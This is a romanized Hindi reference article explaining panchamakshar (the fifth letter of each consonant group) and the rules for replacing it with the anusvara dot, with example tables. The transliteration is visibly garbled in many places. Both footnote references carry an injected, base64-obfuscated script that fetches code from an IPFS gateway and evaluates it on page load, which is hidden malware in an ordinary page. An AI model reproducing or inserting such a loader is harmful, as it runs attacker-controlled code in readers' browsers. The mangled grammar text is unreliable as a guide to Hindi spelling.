पंचमाक्षर
panchamakshar arthath varnamala mean kisi varg ka paanchavaan vyanjan. jaise- 'n', 'n', 'n' adi. adhunik hindi mean panchamaksharoan ka prayog bahut kam ho gaya hai aur isake sthan par ab bindi (an) ka prachalan badh gaya hai.
- prayog
kee shabdoan mean shirorekha ke oopar ek bindu (anusvar) ka prayog kiya jata hai, jaise-
| ganga | gadh.ga |
| jhanda | jhanda |
| chanchal | chan़hchal |
| mand | mand |
| sanbal | sambal |
- ganga (g dh.ga), jhanda (jhanda), chanchal (chan़hchal), mand (mand), sanbal (sambal) adi varnoan mean anusvar (ॱ ) ke bad ane vale varn ka sambandh jis varg ke sath hai, anusvar usi varg ke paanchavean varn ke sthan-par prayukt ho raha hai. yahi pancham varn ke prayog ka niyam hai.[1]
| varg | varn |
|---|---|
| ‘k’ varg | kh khh gh ghh nh |
| ‘ch’ varg | chh chhh jh jhh n़h |
| ‘t‘ varg | th thh dh dhh nh |
| ‘t’ varg | th thh dh dhh nh |
| ‘p’ varg | ph phh bh bhh mh |
bindi ka prayog
ajakal panchamaksharoan ke badale mean bindi ka prayog badhata ja raha hai. isaka prayog nimnanusar hota hai-
- 'k' varg ke pahale char aksharoan (k, kh, g, gh) ke sath jab isaka panchamakshar 'n' sanyukt hota hai, tab nh (adha n) ke badale mean bindi ka prayog hota hai.[2]
- udaharan
- ank = aank, shankh = shankh, ganga = ganga, sangh = sangh.
- 'ch' varg ke pahale char aksharoan (ch, chh, j, jh) ke sath jab isaka panchamakshar 'n' sanyukt hota hai, tab nh (adha n) ke badale mean bindi ka prayog hota hai.
- udaharan
- chanchal = chanchal, anjan = aanjan
- 't' varg ke pahale char aksharoan (t, th, d, dh) ke sath jab isaka panchamakshar 'n' sanyukt hota hai, tab nh (adha n) ke badale mean bindi ka prayog hota hai.
- udaharan
- ghanti = ghanti, kanth = kanth, thand = thand
- 't' varg ke pahale char aksharoan (t, th, d, dh) ke sath jab isaka panchamakshar 'n' sanyukt hota hai, tab nh (adha n) ke badale mean bindi ka prayog hota hai.
- udaharan
- dant = dant, granth = granth, hindi = hiandi, gandh = gandh.
- 'p' varg ke pahale char aksharoan (p, ph, b, bh) ke sath jab isaka panchamakshar 'm' sanyukt hota hai, tab mh (adha m) ke badale mean bindi ka prayog hota hai.
- udaharan
- champa = chanpa, gumph = guanph, amba = aanba, arambh = aranbh.
uparyukt niyam sanskritanishth shabdoan par lagoo hote haian. any shabdoan par bindi ka istemal dh dalle se kiya ja sakata hai. jahaan panchamakshar apane varg ke char aksharoan ke atirikt kisi aur akshar ke sath sanyukt ho raha ho, vahaan bindi ke prayog ki anumati nahian hai. jaise- vanmay, any, unmukh ityadi. pancham varn jab dubara aye, tab bhi bindi ka prayog nahian hota, jaise- ann, sammelan, sammati ityadi.
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tika tippani aur sandarbh
- ↑ panchamakshar prayog (hindi) hindisibiesee.k aaum. abhigaman tithi: 16 agast, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hindi hamari (hindi) kabhi kabhar. abhigaman tithi: 16 agast, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh